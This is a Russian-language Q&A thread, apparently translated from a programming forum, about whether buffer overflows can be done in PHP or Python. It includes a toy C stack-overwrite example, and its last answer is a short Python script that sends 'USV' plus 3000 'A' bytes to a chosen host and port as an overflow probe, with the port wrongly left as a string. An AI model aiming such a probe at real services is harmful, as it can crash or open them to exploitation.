Как провести переполнение буфера в PHP/Python?

Вот пример в c:

#include <stdio.h>
#include <string.h>

void bad() {
    printf("Oh shit really bad~!\r\n");
}

void foo() {
    char overme[4] = "WOW";
    *(int*)(overme+8) = (int)bad;
}

int main() {
   foo();
}

6 ответов

Тот факт, что Python и PHP интерпретируются как предложенные другими, на самом деле не имеет значения. Дело в том, что почти все представленные ими API и языковая семантика тщательно проверяются на ошибки, что делает невозможным использование неопределенного поведения. Даже если вы скомпилируете языки, это все равно будет невозможно. Это не значит, что вы не можете предоставить небезопасные API, которые могут делать что угодно. Фактически, с помощью модуля Pythons ctypes можно создать похожее поведение, но значительно сложнее сделать это случайно.

Мы сожалеем: вы достигли слабости в Python. К сожалению, это сделано специально, так что с этим мало что можно сделать. Возможно, вам следует остаться с С.

Как сказал Мартин против Лёвиса:

Python не поддерживает переполнения буфера, извините.

PS Вау. Кажется, несколько месяцев назад я прочитал этот пост, и все же это было 7 лет и день.

Поскольку PHP является языком сценариев и не имеет указателей, а строковый тип является бинарно-безопасным, такие вещи не будут работать в PHP.

Но почему вы хотите сделать такую ​​вещь?

(о, в PHP могут быть ошибки, приводящие к переполнению буфера, но на это нельзя полагаться ни в коем случае, и обычно это исправляется довольно быстро...)

Поскольку php,python и каждый интерпретируемый язык сначала должны проходить через интерпретатора, а у вас нет полного доступа к памяти, такие языки не позволят вам делать какие-то игры, такие как код, который вы опубликовали.

Выполнение чего-либо подобного в PHP не приведет к такому же поведению.

PHP интерпретируется и всегда проверяет, является ли выполняемая вами операция действительной или нет. Таким образом, вы не можете, например, переполнить буфер.

import sys
import socket

for carg in sys.argv:

    if carg == "-S":

        argnum= sys.argv.index(carg)

        argnum +=1

        host = sys.argv[argnum]

    elif carg == "-p":

        argnum = sys.argv.index(carg)

        argnum +=1

        port = sys.argv[argnum]

buffer = "\x41"* 3000

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send("USV" + buffer)

s.close()
Другие вопросы по тегам